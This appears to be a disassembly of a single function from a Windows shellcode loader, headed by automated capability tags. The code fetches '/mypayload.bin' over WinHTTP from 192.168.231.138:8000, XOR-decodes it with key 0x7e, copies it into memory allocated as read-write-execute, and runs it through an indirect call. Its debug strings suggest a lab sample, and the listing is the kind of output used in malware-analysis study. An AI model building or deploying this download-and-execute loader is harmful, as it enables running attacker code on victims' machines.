Function at 0x401190
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414b3d
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
xor edi, edi
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
push edi
push edi
push edi
push edi
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov esi, eax
push str.___WinHTTP_initialized_n
mov dword [ebp - 0x3c], esi
call fcn.00401010
add esp, 4
push edi
push 0x1f40
push str.192.168.231.138
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov esi, eax
push str.___Connected_to_HTTP_Server_n
mov dword [ebp - 0x38], esi
call fcn.00401010
add esp, 4
push edi
push edi
push edi
push edi
push str._mypayload.bin
push 0x41a994
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov esi, eax
push str.___Sending_HTTP_GET_Request_n
mov dword [ebp - 0x2c], esi
call fcn.00401010
add esp, 4
push edi
push edi
push edi
push edi
push edi
push edi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push str.___WinHTTP_request_sent_n
call fcn.00401010
add esp, 4
push edi
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push str.___Response_retrieved_n
call fcn.00401010
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
nop
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x4012a8
call esi
push eax
push str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.00401010
add esp, 8
mov eax, dword [ebp - 0x20]
inc eax
push eax
call fcn.00401866
mov ecx, dword [ebp - 0x20]
mov esi, eax
inc ecx
push ecx
push 0
push esi
call fcn.00402c40
add esp, 0x10
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push esi
push dword [ebp - 0x2c]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x4012f1
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.Error__u_in_WinHttpReadData._n
call fcn.00401010
add esp, 8
jmp 0x401307
push dword [ebp - 0x24]
lea ecx, [ebp - 0x1c]
push esi
push edi
call fcn.00401510
mov edi, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 0
ja 0x401280
mov esi, dword [ebp - 0x1c]
sub edi, esi
push edi
call fcn.00406cdd
add esp, 4
mov dword [ebp - 0x28], eax
test edi, edi
je 0x401340
mov ecx, eax
sub esi, eax
mov edx, edi
nop dword [eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x7e
mov byte [ecx - 1], al
sub edx, 1
jne 0x401330
push str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.00401010
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40
push 0x3000
push edi
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40149a
push eax
push str.___Allocated_space_for_the_buffer__p_n
call fcn.00401010
add esp, 8
xor ecx, ecx
test edi, edi
jle 0x4013fe
cmp edi, 0x40
jb 0x4013f0
mov eax, edi
and eax, 0x8000003f
jns 0x401399
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x41aaf0]
mov edx, edi
sub edx, eax
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x28]
lea eax, [edx + 0x20]
nop dword [eax]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax - 0x60], xmm1
movups xmm0, xmmword [eax - 0x50]
xorps xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
xorps xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
xorps xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, dword [ebp - 0x30]
jl 0x4013b0
cmp ecx, edi
jge 0x401401
jmp 0x4013f3
mov edx, dword [ebp - 0x28]
xor byte [ecx + edx], 0x7e
inc ecx
cmp ecx, edi
jl 0x4013f3
jmp 0x401401
mov edx, dword [ebp - 0x28]
push edi
mov edi, dword [ebp - 0x34]
push edx
push edi
call fcn.004040b0
push str.___Shellcode_decrypted_and_written_n
call fcn.00401010
add esp, 0x10
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 4
push dword [ebp - 0x2c]
call esi
push dword [ebp - 0x38]
call esi
push dword [ebp - 0x3c]
call esi
mov eax, dword [ebp - 0x28]
push eax
call fcn.004068d2
add esp, 4
call fcn.00406a52
mov edx, dword [ebp - 0x1c]
test edx, edx
je 0x40147d
mov ecx, dword [ebp - 0x14]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x401473
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4014ae
push ecx
push edx
call fcn.00401858
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040181a
mov esp, ebp
pop ebp
ret
push str.____VirtualAlloc_failed_n
call fcn.00401010
add esp, 4
push 1
call fcn.004049ab
call fcn.00406c8c
int3